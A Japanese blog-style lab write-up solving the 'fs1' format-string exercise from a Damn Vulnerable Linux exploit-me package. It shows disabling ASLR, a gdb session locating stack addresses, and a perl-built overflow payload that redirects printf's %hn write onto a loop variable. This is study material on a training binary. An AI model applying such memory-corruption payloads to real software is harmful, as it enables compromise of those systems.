今日はprintf(3)のフォーマットストリングの脆弱性についてテストしてみた。
とりあえずアタックを簡単にしたかったので↓を実行。
echo "0" > /proc/sys/kernel/randomize_va_space
今日のテスト対象は/dvl/exploitmes_package_02/3_format_stringsにあるfs1。
これをデバッグオプション付きでコンパイルしgdbで動かす。
bt 3_format_strings # gdb fs GNU gdb 6.5 Copyright (C) 2006 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"...Using host libthread_db library "/lib/tls/libthread_db.so.1". まずソースを確認。 gdb $ list 1 /* fs1.c * 2 * specially crafted to feed your brain by xxx@xxx */ <= メールアドレスは伏せた 3 4 /* Don't forget, * 5 * more is less, * 6 * here's a proof */ 7 8 int main(int argv,char **argc) { 9 short int zero=0; 10 int *plen=(int*)malloc(sizeof(int)); gdb $ 11 char buf[256]; 12 13 strcpy(buf,argc[1]); 14 printf("%s%hn\n",buf,plen); 15 while(zero); 16 } 見ての通り、printfに対して入力をそのまま渡しているわけではないです。。 16行目のwhile(zero)を無限ループさせるためにどうやってzeroの内容を書き換えるかを考える。 #ただし、バッファオーバーフローで直接zeroの値を書き換えるようなことはしない!! そうすると15行目のprintf()で%nを使ってplenに書き込みを行っている箇所が使えそう。 plenの本来のアドレスの代わりにzeroのアドレスを渡してやれば、plenにではなくzeroに対して書き込みを行うはず。 早速確認。。 アドレス確認用にブレークポイントを設定。 gdb $ b 13 Breakpoint 1 at 0x8048449: file fs1.c, line 13. gdb $ r `perl -e 'print "A"x264;'` -------------------------------------------------------------------------[ regs] eax:0804A008 ebx:B7FCDFFC ecx:0804A010 edx:00000004 eflags:00000282 esi:BFFFF424 edi:BFFFF3B0 esp:BFFFF270 ebp:BFFFF398 eip:08048449 cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t S z a p c [007B:BFFFF270]---------------------------------------------------------[stack] BFFFF2A0 : 33 20 53 61 20 00 00 00 - 00 00 00 00 00 00 00 00 3 Sa ........... BFFFF290 : 54 23 FF B7 0E 3A EB B7 - 60 82 04 08 00 00 00 23 T#...:..`......# BFFFF280 : F8 0F 00 B8 F0 14 00 00 - 00 20 FD B7 E0 F2 FF BF ......... ...... BFFFF270 : 8C F2 FF BF 93 71 FF B7 - 20 82 04 08 3C 17 00 B8 .....q.. ...<... [007B:BFFFF424]---------------------------------------------------------[ data] BFFFF424 : 7A F5 FF BF A9 F5 FF BF - 00 00 00 00 B2 F6 FF BF z............... BFFFF434 : 00 F7 FF BF 07 F7 FF BF - 14 F7 FF BF 1F F7 FF BF ................ [0073:08048449]---------------------------------------------------------[ code] 0x8048449 <main+53>: sub esp,0x8 0x804844c <main+56>: mov eax,DWORD PTR [ebp+12] 0x804844f <main+59>: add eax,0x4 0x8048452 <main+62>: push DWORD PTR [eax] 0x8048454 <main+64>: lea eax,[ebp-0x118] 0x804845a <main+70>: push eax ------------------------------------------------------------------------------- ブレークポイントで処理が止まったら各変数のアドレスを調べる。 Breakpoint 1, main (argv=0x2, argc=0xbffff424) at fs1.c:13 13 strcpy(buf,argc[1]); gdb $ p &buf $1 = (char (*)[256]) 0xbffff280 gdb $ p &plen $2 = (int **) 0xbffff388 gdb $ p &zero $3 = (short int *) 0xbffff38e <- ここに書き込むようにしたい! gdb $ c AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program exited with code 011. -------------------------------------------------------------------------[ regs] Error while running hook_stop: No registers. とりあえずブレークポイントはもう必要ないので消す。 gdb $ d 1 ゴミデータ+zeroのアドレスを渡す。 gdb $ r `perl -e 'print "A"x264 . "\x8e\xf3\xff\xbf";'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ↑無限ループ実行中。 ↓ctrl-cで中止 Program received signal SIGINT, Interrupt. -------------------------------------------------------------------------[ regs] eax:0000010D ebx:B7FCDFFC ecx:00000000 edx:0000010D eflags:00000206 esi:BFFFF424 edi:BFFFF3B0 esp:BFFFF270 ebp:BFFFF398 eip:08048484 cs:0073 ds:007B es:007B fs:0000 gs:0033 ss:007B o d I t s z a P c [007B:BFFFF270]---------------------------------------------------------[stack] BFFFF2A0 : 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA BFFFF290 : 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA BFFFF280 : 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA BFFFF270 : 8C F2 FF BF 93 71 FF B7 - 20 82 04 08 3C 17 00 B8 .....q.. ...<... [007B:BFFFF424]---------------------------------------------------------[ data] BFFFF424 : 76 F5 FF BF A5 F5 FF BF - 00 00 00 00 B2 F6 FF BF v............... BFFFF434 : 00 F7 FF BF 07 F7 FF BF - 14 F7 FF BF 1F F7 FF BF ................ [0073:08048484]---------------------------------------------------------[ code] 0x8048484 <main+112>: jmp 0x804847d <main+105> 0x8048486 <main+114>: leave 0x8048487 <main+115>: ret 0x8048488 <main+116>: nop 0x8048489 <main+117>: nop 0x804848a <main+118>: nop ------------------------------------------------------------------------------- ここでは確認してないけど、zeroには当然0以外の値が入ってます。 0x08048484 in main (argv=0x2, argc=0xbffff424) at fs1.c:15 15 while(zero); gdb $ q bt 3_format_strings #
一応これでzeroの値を書き換えて無限ループに入ることができたけど、このやり方は出題者の意図通りなのかは不明orz